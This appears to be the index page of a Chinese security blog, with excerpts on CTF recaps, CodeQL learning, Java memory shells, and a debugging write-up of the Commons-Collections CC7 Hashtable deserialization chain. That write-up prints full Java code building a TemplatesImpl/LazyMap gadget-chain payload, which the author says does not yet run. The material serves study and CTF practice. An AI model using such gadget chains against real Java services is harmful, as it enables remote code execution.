0%

zer0ptsCTF2022复现

其实都在虎符坐牢,虎符做完牢之后zer0pts的比赛也就差不多结束了。。。
虎符四个web感觉有两个不怎么web,zer0pts六个web感觉也有一半不怎么web。。。
zer0pts当初还是我提议拉一个队打一下的拉着。。。对不起其他究极输出的师傅们。
然后最后一个小时简单的看了一下web题。一共六个web,一个签到,两个感觉不是很web的题,以及这两个不是很web的题被非预期之后的revenge,和一个完全没看不知道是个啥的题(说起来究极国际队也赛题被疯狂非预期了,并且这个赛题数量以及其和web的相关程度,感觉也没有比我们好很多。突然心里有点舒服了一点?)不过感觉他们还是影响力比我们大多了,并且他们常年举办比赛也很有经验,总之就是discord里看起来很热闹氛围很好呜呜(我现在才知道似乎discord和QQ群不一样发公告不要随便@全体。。。就丢在announcement里就行。。。以及现在的私聊比较流行的说法是dm,direct message)

然后因为没有怎么看题所以不会坐牢,简单复现

然后因为没有看多久所以简单看一下然后去codeql坐牢吧。。。

GitFile Explorer

阅读全文 »

HFCTF2022坐牢复现

高强度坐牢,四个web只会一个最简单的SQL。ezphp跟着p神文章调一天调不通自闭了。日路由器看都不想看,java很有兴趣但能力有限,复现会重点研究

ezphp

环境就和p神这篇文章的基本一致,用的nginx服务器,fpm通信是本地端口不是Unix socket,然后对着p神的文章搭了一个远程调试环境搞了好久。刚好把上个星期学codeql下的vscode利用起来了

调试环境搭建搭完就忘了怎么搞的了,反正最后配这个launch.json文件就行

阅读全文 »

CodeQL坐牢记录

CodeQL,也就是Code query language,高级源码自动化审计语言,大概就是能把代码解析成数据库创建变量之间的联系,进行污点追踪和自动化漏洞挖掘之类的操作。

为什么学是因为在不知道学什么的时候rmb神仙和我说学一下CodeQL吧。然后就踩了一万个坑(然后又突然不是特别闲了导致这个玩意一直没做完)

虽然说codeql也已经出了几年了,相较于一两年前稀碎的文档和少有的资料相比还是好了很多,但实际上遇到问题也基本搜不到什么想要的内容。所以还是在一路狂踩坑。。。

血泪教训:这个玩意一定只适用于已知源码的情况

阅读全文 »

CC7 hashtable反序列化原理调试

本来只是对CC各链进行了简单性的写代码复习,就是大致的记忆了CC1-7的各个链触发方式和利用点,但对具体触发的流程并不甚熟悉。昨天闲的没事把templatesImpl和CC7的hashtable缝合了一下,发现payload在触发上存在着一定的问题,然后百思不得其解,然后究极debug还是发现不了问题所在,问了下rmb神仙他和我说是时候究极跟进实现了。于是今天来debug一下

缝合代码

这份是缝合了之后看起来天衣无缝但是跑不起来的代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CCTemplateImpl {
    public static Object getPayload(final String command) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
        byte[] classBytes = ctClazz.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
        Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bf.setAccessible(true);
        bf.set(templatesImpl, targetByteCodes);

        // 进入 defineTransletClasses() 方法需要的条件
        Field nf = TemplatesImpl.class.getDeclaredField("_name");
        nf.setAccessible(true);
        nf.set(templatesImpl, "name");
        Field cf = TemplatesImpl.class.getDeclaredField("_class");
        cf.setAccessible(true);
        cf.set(templatesImpl, null);
        Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
        tf.setAccessible(true);
        tf.set(templatesImpl, new TransformerFactoryImpl());

        final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};
        //等会反射改,不然又打自己
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};
        final Transformer transformerChain = new ChainedTransformer(rubbish);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        return hashtable;
    }
}
阅读全文 »

Java Agent内存马–从入门到踩坑

还是,再学点java。。。
主要是就着上次复现看看java内存马的实现,然后就看到了其中一种的java agent注入(但实际使用的多的应该还是直接反射调函数加filter,agent的操作要先写一个agent jar包上去,麻烦太多)
这个东西之前也见到过,两次,一次是burp破解,一次是cobalt strike破解
那个时候的理解大概就是这个玩意能注入进程进行hook之类的操作,这回仔细看看吧

简易环境搭建

就跟着先知上这篇文章吧。写的挺详细的
Java Agent 从入门到内存马
整体思路也是跟着这篇文章复制粘贴(当然还是自己动手写两笔,rmb神仙说了要多动手而不是多看文章)

premain && agentmain

阅读全文 »